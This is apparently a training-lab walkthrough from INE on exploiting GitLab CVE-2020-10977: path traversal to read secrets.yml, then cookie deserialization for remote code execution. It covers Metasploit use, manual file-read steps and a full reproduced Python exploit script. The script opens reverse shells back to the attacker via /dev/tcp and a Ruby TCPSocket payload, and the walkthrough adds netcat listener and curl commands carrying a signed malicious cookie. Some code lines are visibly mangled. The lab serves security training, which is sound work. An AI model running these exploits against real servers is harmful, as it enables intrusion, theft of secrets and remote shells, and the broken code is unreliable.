GitLab_File_Read_Remote_C ...
    09 September 22


    Posted byINE

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!


    In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This leads to the arbitrary file read via the UploadsRewriter and remote command execution on the vulnerable GitLab server. The problem was discovered by William Bowling.

    This exercise is to understand how to exploit the vulnerable Gitlab (CVE-2020-10977) to gain a meterpreter session on the target machine.

    Purpose: We are learning how to exploit Gitlab using the Metasploit Framework module and will exploit the Gitlab application manually to better understand the vulnerability. Also, we will use the python scripts for exploiting Gitlab. 

    Technical difficulty: Beginner

    What is GitLab?

    GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. Self-host GitLab CE on your own servers, in a container, or on a cloud provider.

    GitLab is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently, while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency and traceability.

    GitLab is an open core company which develops software for the software development lifecycle with 30 million estimated registered users and more than 1 million active license users, and has an active community of more than 2,500 contributors. GitLab openly shares more information than most companies and is public by default, meaning our projects, strategy, direction and metrics are discussed openly and can be found within our website. Our values are Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging , Iteration, and Transparency (CREDIT) and these form our culture.


    Also, before we get started, we highly recommend you to please refer this excellent blog by snovvcrash.

    Vulnerable Code:

       @text.gsub(@pattern) do |markdown|
              file = find_file(@source_project, $~[:secret], $~[:file])
              break markdown unless file.try(:exists?)
              klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
              moved = klass.copy_to(file, target_parent)
       def find_file(project, secret, file)
            uploader =, secret: secret)

    There is no restriction on what file can be accessed; because of that, path traversal can be used to copy any file, depending on the file's permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc

    Lab Environment

    In this lab environment, the user will access a Kali GUI instance. A vulnerable machine GitLab server deployed on http://demo.ine.local. 

    Goal after completing this scenario: Exploit the Gitlab server using the Metasploit framework module and gain the shell. Then read the flag.



    The best tools for this lab are:

    - Nmap

    - Bash Shell

    - Metasploit Framework

    - Python

    Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!


    The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a local parent directory, but the software does not properly neutralize unique elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

    Read More:

    Affected products

    - GitLab EE/CE 8.5 to 12.9


    Step 1: Open the lab link to access the Kali machine.

    Kali machine


    Step 2: Check if the provided machine/domain is reachable.


    ping -c 4 demo.ine.local


    The provided machine is reachable, and we also found the target's IP address.

    Step 3: Check all open ports on the machine.


    nmap demo.ine.local


    Two ports are open. The GitLab server is running on port 80.

    Step 4: Run the firefox browser and access port 80 to identify the GitLab server.

    URL: http://demo.ine.local


    The target is running the Gitlab server.

    We can register a user on the target machine. Let's create a user i.e. test123:password_123


    Step 5: Run the Metasploit framework and search for the GitLab exploit module.


    msfconsole -q

    search gitlab_file


    There is one Metasploit module available. exploit/multi/http/gitlab_file_read_rce 

    Step 6: Use the gitlab_exif_rce exploit module and check all available options.

    GitLab File Read Remote Code Execution

    >This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.



    use exploit/multi/http/gitlab_file_read_rce

    show options


    The port is set to 80, which is the GitLab server port. Also, set RHOSTS and USERNAME, PASSWORD, which we have created, then run the module.


    set RHOSTS demo.ine.local

    set USERNAME test123

    set PASSWORD password_123



    The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.

    The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.

    Exploit the server.





    We have gained a shell with git user privileges.

    Step 7: Read the flag.


    ls ../../

    cat ../../flag.txt


    FLAG: 4f4de082e7e9b7e9305738e67df104be

    Exploiting GitLab Manually

    We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the secrets.yml file. From there, one can read the secret_key_base that is useful for creating a signed experimentation_subject_id cookie and gains remote code execution with a deserialization vulnerability.

    Step 8: Let's first login to the Gitlab server and create two projects.

    eg, project1 and project2



    Now, click on project1 and create a New Issue. 

    URL: http://demo.ine.local/test123/project1/issues/new

    Payload to read /etc/passwd file.



    Submit the issue


    Now, move the issue to project2. Once you move, you will be redirected to the project2 issue page.



    Download the /etc/passwd file



    We have successfully exploited path traversal vulnerability.

    Now, read the secrets.yml file where we can get secret_key_base.

    This time create another issue in project2 that will read the secrets.yml file.

    URL: http://demo.ine.local/test123/project2/issues/new


    Payload to read secrets.yml file. 

    By default, the secrets.yml file path is /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 



    Submit the issue


    This time move the issue to project1.


    Now, download the secrets.yml file and read it.




    We have found the secret_key_base: 


    Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won't be the case. However, many python scripts create the payload for this vulnerability that can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.

    The excellent Python script was written by dotPY-hax. We will use it to run commands on the target machine.

    Step 9: Running the python script to exploit the LFI and command injection vulnerability. We also make a slight change in the code that will print the final signed experimentation_subject_id cookie that can be used to exploit the target manually using curl.

    Python Script

    Gitlab RCE+LFI version <= 11.4.7, 12.4.0-12.8.1 - EDUCATIONAL USE ONLY
    CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF)
    import base64
    import hashlib
    import hmac
    from html.parser import HTMLParser
    import random
    import string
    import sys
    import time
    import urllib.parse
    import urllib3
    import requests
    class GitlabRCE:
        description = "oopsie woopsie we made a fucky wucky a wittle fucko boingo!"
        def __init__(self, gitlab_url, local_ip):
            self.url = gitlab_url
            self.local_ip = local_ip
            self.port = 42069
            change this if the gitlab has restricted email domains
            self.email_domain = "gmail.htb"
            self.session = requests.session()
            self.username = ""
            self.password = ""
            self.projects = []
            self.issues = []
        def get_authenticity_token(self, url, i=-1):
            result = self.session.get(url, verify=False)
            parser = GitlabParse()
            token = parser.feed(result.text, i)
            if not token:
                print("could not get token!")
            return token
        def randomize(self):
            sequence = string.ascii_letters + string.digits
            random_list = random.choices(sequence, k=10)
            random_string = "".join(random_list)
            return random_string
        def register_user(self):
            authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in")
            self.username = self.randomize()
            self.password = self.randomize()
            email = "{}@{}".format(self.username, self.email_domain)
            data = {"new_user[email]": email, "new_user[email_confirmation]": email, "new_user[username]": self.username,
                    "new_user[name]": self.username, "new_user[password]": self.password,
                    "authenticity_token": authenticity_token}
            result = + "/users", data=data, verify=False)
            print("registering {}:{} - {}".format(self.username, self.password, result.status_code))
        def login_user(self):
            authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in", 0)
            data = {"authenticity_token": authenticity_token, "user[login]": self.username, "user[password]": self.password}
            result = + "/users/sign_in", data=data, verify=False)
        def delete_user(self):
            authenticity_token = self.get_authenticity_token(self.url + "/profile/account")
            data = {"authenticity_token": authenticity_token, "_method": "delete", "password": self.password}
            result = + "/users", data=data, verify=False)
            print("delete user {} - {}".format(self.username, result.status_code))
        def create_empty_project(self):
            authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
            project = self.randomize()
            data = {"authenticity_token": authenticity_token, "project[ci_cd_only]": "false", "project[name]": project,
                    "project[path]": project, "project[visibility_level]": "0",
                    "project[description]": "all your base are belong to us"}
            result = + "/projects", data=data, verify=False)
            print("creating project {} - {}".format(project, result.status_code))
        def create_issue(self, project_id, text):
            issue_link = "{}/{}/{}/issues".format(self.url, self.username, project_id)
            authenticity_token = self.get_authenticity_token(issue_link + "/new")
            issue_title = self.randomize()
            data = {"authenticity_token": authenticity_token, "issue[title]": issue_title, "issue[description]": text}
            result =, data=data, verify=False)
            print("creating issue {} for project {} - {}".format(issue_title, project_id, result.status_code))
        def main(self):
            print("main is not implemented")
        def prepare_payload(self):
            print("prepare_payload is not implemented")
        def abort(self):
            print("Something went wrong! ABORT MISSION!")
    class GitlabRCE1147(GitlabRCE):
        description = "RCE for Version <=11.4.7"
        def exploit_project_creation(self, payload):
            authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
            project = self.randomize()
            payload_template = """git://[0:0:0:0:0:ffff:]:6379/
        sadd resque:gitlab:queues system_hook_push
        lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
            using replace for formating is shit!! too bad...
            payload = payload_template.replace("{payload}", payload)
            data = {"authenticity_token": authenticity_token, "project[import_url]": payload,
                    "project[ci_cd_only]": "false", "project[name]": project,
                    "project[path]": project, "project[visibility_level]": "0",
                    "project[description]": "all your base are belong to us"}
            result = + "/projects", data=data, verify=False)
            print("hacking in progress - {}".format(result.status_code))
        def prepare_payload(self):
            payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(self.local_ip, self.port)
            wrapper = "echo {base64_payload} | base64 -d | /bin/bash"
            base64_payload = base64.b64encode(payload.encode()).decode("utf-8")
            payload = wrapper.format(base64_payload=base64_payload)
            return payload
        def main(self):
    class GitlabRCE1281LFI(GitlabRCE):
        description = "LFI for version 10.4-12.8.1 and maybe more"
        def __init__(self, gitlab_url, local_ip, file_to_lfi="/etc/passwd"):
            super(GitlabRCE1281LFI, self).__init__(gitlab_url, local_ip)
            self.file_to_lfi = file_to_lfi
        def get_file(self, url, filename):
            print("Grabbing file {}".format(filename))
            result = self.session.get(url, verify=False)
            return result.text
        def get_technical_id_of_project(self, project_id):
            url = "{}/{}/{}".format(self.url, self.username, project_id)
            result = self.session.get(url, verify=False)
            parser = ProjectIDParse()
            technical_id = parser.feed(result.text)
            return technical_id
        def extract_link_from_issue_json(self, issue_json, project_id):
            field = issue_json["description"]
            file_name = field[field.find("[") + 1:field.find("]")]
            file_path = field[field.find("(") + 1:field.find(")")]
            url = "{}/{}/{}{}".format(self.url, self.username, project_id, file_path)
            return url, file_name
        def lfi_path(self):
            return "![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})".format(
        def exploit_move_issue(self):
            project = self.projects[0]
            other_project = self.projects[-1]
            url = "{}/{}/{}/issues/1".format(self.url, self.username, project)
            technical_project_id_other_project = self.get_technical_id_of_project(other_project)
            authenticity_token = self.get_authenticity_token(url)
            issue_json = {"move_to_project_id": technical_project_id_other_project}
            self.session.headers["X-CSRF-Token"] = authenticity_token
            self.session.headers["Referer"] = url
            result = + "/move", json=issue_json, verify=False)
            print("moving issue from {} to {} - {}".format(project, other_project, result.status_code))
            url, filename = self.extract_link_from_issue_json(result.json(), other_project)
            file_content = self.get_file(url, filename)
            return file_content
        def main(self):
            self.create_issue(self.projects[0], self.lfi_path())
            file_content = self.exploit_move_issue()
    class GitlabRCE1281RCE(GitlabRCE1281LFI):
        description = "RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP"
        def parse_secrets(self, secrets):
            secret_key_base = secrets[secrets.find("secret_key_base: ") + 17:secrets.find("otp_key_base") - 3]
            return secret_key_base
        def get_ruby_shit_byte(self):
            ruby marshal REEEEEEEEEEEEEE
            length = len(self.local_ip) + len(str(self.port)) - 8
            possible_shit_bytes = "jklmnopqrstuvw"
            return possible_shit_bytes[length]
        def build_payload(self, secret):
            payload = "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\"{ruby_shit_byte}exit if fork;\"{ip}\",{port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print}end\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT"
            payload = payload.replace("{ip}", self.local_ip).replace("{port}", str(self.port)).replace("{ruby_shit_byte}",
            key = hashlib.pbkdf2_hmac("sha1", password=secret.encode(), salt=b"signed cookie", iterations=1000, dklen=64)
            base64_payload = base64.b64encode(payload.encode())
            digest =, base64_payload, digestmod=hashlib.sha1).hexdigest()
            return base64_payload.decode() + "--" + digest
        def send_payload(self, payload):
            cookie = {"experimentation_subject_id": payload}
            result = self.session.get(self.url + "/users/sign_in", cookies=cookie, verify=False)
            print("deploying payload - {}".format(result.status_code))
        def main(self):
            self.file_to_lfi = "/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml"
            self.create_issue(self.projects[0], self.lfi_path())
            file_contents = self.exploit_move_issue()
            secret = self.parse_secrets(file_contents)
            payload = self.build_payload(secret)
    class GitlabRCE1281LFIUser(GitlabRCE1281LFI):
        def main(self):
            self.file_to_lfi = self.ask_for_lfi_path()
            super(GitlabRCE1281LFIUser, self).main()
        def ask_for_lfi_path(self):
            lfi_path = input(
                "please type in the fully qualified path of the file you want to LFI. Uses {} when left empty: ".format(
            lfi_path = lfi_path.strip()
            if not lfi_path:
                return self.file_to_lfi
            return lfi_path
    class GitlabVersion(GitlabRCE):
        def test(self):
                result = self.session.get(self.url, verify=False)
                if result.status_code not in [200, 302]:
                    raise Exception("Host {} seems down".format(self.url))
            except Exception as e:
        def get_version(self):
            result = self.session.get(self.url + "/help", verify=False)
            print("Getting version of {} - {}".format(self.url, result.status_code))
            parse = VersionParse()
            version = parse.feed(result.text)
            return version
        def main(self):
            version = self.get_version()
            print("The Version seems to be {}! Choose wisely".format(version))
            if not version:
                print("Could not get version!")
    class GitlabParse(HTMLParser):
        def __init__(self):
            super(GitlabParse, self).__init__()
            self.tokens = []
            self.current_name = ""
        def handle_starttag(self, tag, attrs):
            if tag == "input":
                for name, value in attrs:
                    if self.current_name == "authenticity_token" and name == "value":
                    self.current_name = value
            elif tag == "meta":
                for name, value in attrs:
                    if self.current_name == "csrf-token":
                    self.current_name = value
        def feed(self, data, i):
            super(GitlabParse, self).feed(data)
                return self.tokens[i]
            except IndexError:
                return None
    class ProjectIDParse(HTMLParser):
        def __init__(self):
            super(ProjectIDParse, self).__init__()
            self.project_found = False
            self.project_id = None
        def feed(self, data):
            super(ProjectIDParse, self).feed(data)
            return self.project_id
        def handle_starttag(self, tag, attrs):
            for name, value in attrs:
                if self.project_found and name == "value":
                    self.project_id = int(value)
                self.project_found = name == "id" and value == "project_id"
    class VersionParse(HTMLParser):
        def __init__(self):
            super(VersionParse, self).__init__()
            self.found_version = False
            self.version = None
        def handle_starttag(self, tag, attrs):
            if tag == "a":
                for name, value in attrs:
                    self.found_version = name == "href" and "/tags/v" in value
        def handle_data(self, data):
            if self.found_version and not self.version:
                self.version = data
        def feed(self, data):
            super(VersionParse, self).feed(data)
            return self.version
    class Runner:
        def __init__(self):
            self.available_classes = [GitlabRCE1147, GitlabRCE1281LFIUser, GitlabRCE1281RCE]
            self.local_ip = None
            self.gitlab_url = None
        def banner(self):
            print("Gitlab Exploit by dotPY [insert fancy ascii art]")
        def get_version(self):
            class_ = GitlabVersion(self.gitlab_url, self.local_ip)
        def list_options_and_choose(self):
            number = None
            for i, class_ in enumerate(self.available_classes):
                print("[{}] - {} - {}".format(i, class_.__name__, class_.description))
            while number not in range(len(self.available_classes)):
                    number = int(input("type a number and hit enter to choose exploit: "))
                except ValueError:
            return self.available_classes[number]
        def run_chosen_exploit(self, chosen_exploit):
            class_ = chosen_exploit(self.gitlab_url, self.local_ip)
            input("Start a listener on port {port} and hit enter (nc -vlnp {port})".format(port=class_.port))
        def run(self):
            args = sys.argv
            if len(args) != 3:
                print("usage: {} <http://gitlab:port> <local-ip>".format(args[0]))
                self.gitlab_url = args[1]
                self.local_ip = args[2]
        def start(self):
            class_ = self.list_options_and_choose()
    r = Runner()

    Copy and paste the above code in the Kali GUI and run the PoC code to exploit LFI and perform RCE.


    Check the script help option.


    python3 --help


    Launch the script.

    Note: Make sure you enter a valid local host IP address


    python3 http://demo.ine.local

    Choose option 1: [1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more

    We aren't performing RCE, so we can skip the Start a listener on port 42069 and hit enter (nc -vlnp 42069) option. Press enter.

    Please type in the fully qualified path of the file you want to LFI. Uses /etc/passwd when left empty:

    Press enter again to read the /etc/passwd file.


    Successfully read the /etc/passwd file.

    Again, launch the script, and this time select option 2 for RCE and gain the netcat reverse shell.


    python3 http://demo.ine.local


    Start a listener on port 42069 and hit enter (nc -vlnp 42069).

    Start netcat listener


    nc -vlnp 42069



    Important: Do not press enter, if you hit the enter key, the netcat shell will die.


    We have successfully exploited the Gitlab server using the python script.

    We can also notice the final signed experimentation_subject_id cookie that can be used to execute commands on the target server. 


    Copy the value and send it using curl to receive the netcat session again. Kill the existing session first.



    curl -vvv 'http://demo.ine.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJInFleGl0IGlmIGZvcms7Yz1UQ1BTb2NrZXQubmV3KCIxMC4xMC4yNy4yIiw0MjA2OSk7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7CVQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7CVQ=--06589556c6901eb902fdb2bd308ff0f8f6c542bb"


    Gained the netcat shell. 


    Similarly, we can read sensitive log files and reset the existing user's password. 

    We highly recommend you to refer to this blog:


    We have learned to exploit the vulnerable Gitlab versions. This is a serious issue. One can easily compromise the Gitlab server by using these issues.

    Always keep the system and Gitlab application updated. Keep an eye on the vulnerability (CVE) database for specific components that will help you understand the vulnerability type. One can quickly mitigate the issue before an online patch or a new version.

    Also, Gitlab has its official blog post regarding Gitlab patches and vulnerability details. Highly recommended for all Gitlab-related information:


    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Hey! Don’t miss anything - subscribe to our newsletter!

    © 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo